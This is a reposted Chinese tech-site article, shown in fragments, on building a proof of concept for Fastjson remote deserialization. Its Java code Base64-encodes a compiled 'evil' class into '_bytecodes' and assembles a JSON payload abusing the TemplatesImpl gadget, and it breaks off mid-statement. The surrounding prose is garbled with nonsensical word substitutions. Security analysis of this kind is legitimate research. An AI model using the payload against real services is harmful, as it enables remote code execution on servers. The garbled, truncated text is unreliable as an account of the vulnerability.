作家
登录

Fastjson远程反序列化程序验证的构造和分析

作者: 来源: 2017-05-04 20:57:11 阅读 我要评论

 void main(String[] args) throws Exception { 
  •         Test t = new Test(); 
  •     } 
  • 这个是Test.java的实现,在Test.java的构造函数中履行了一条敕令,弹出寂?骥。编译Test.java获得Test.class供后续应用。后续会将Test.class的内容赋值给_bytecodes。让我们接着分析:

    1. package person; 
    2.   
    3. import com.alibaba.fastjson.JSON; 
    4. import com.alibaba.fastjson.parser.Feature; 
    5. import com.alibaba.fastjson.parser.ParserConfig; 
    6. import org.apache.commons.io.IOUtils; 
    7. import org.apache.commons.codec.binary.Base64; 
    8.   
    9. import java.io.ByteArrayOutputStream; 
    10. import java.io.File; 
    11. import java.io.FileInputStream; 
    12. import java.io.IOException; 
    13.   
    14. /** 
    15.  * Created by web on 2017/4/29. 
    16.  */ 
    17. public class P{ 
    18.   
    19.     public static String readClass(String cls){ 
    20.         ByteArrayOutputStream bos = new ByteArrayOutputStream(); 
    21.         try { 
    22.             IOUtils.copy(new FileInputStream(new File(cls)), bos); 
    23.         } catch (IOException e) { 
    24.             e.printStackTrace(); 
    25.         } 
    26.         return Base64.encodeBase64String(bos.toByteArray()); 
    27.   
    28.     } 
    29.   
    30.     public static void  test_autoTypeDeny() throws Exception { 
    31.         ParserConfig config = new ParserConfig(); 
    32.         final String fileSeparator = System.getProperty("file.separator"); 
    33.         final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class"
    34.         String evilCode = readClass(evilClassPath); 
    35.         final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
    36.         String text1 = "{\"@type\":\"" + NASTY_CLASS + 
    37.                 "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ },"

        推荐阅读

        提高Linux安全性:14项检查建立安全的Linux服务器

      1. 记录主机信息每当您正在应用新的Linux主机进行安然加强时,您须要创建一个文档并记录本文档中列出的项目,工作完成后,您将须要检查这些项目。别的,在开端时该文档,您须要记录有关Li>>>详细阅读


      本文标题:Fastjson远程反序列化程序验证的构造和分析

      地址:http://www.17bianji.com/lsqh/35009.html

    关键词: 探索发现

    乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

    网友点评
    自媒体专栏

    评论

    热度

    精彩导读
    栏目ID=71的表不存在(操作类型=0)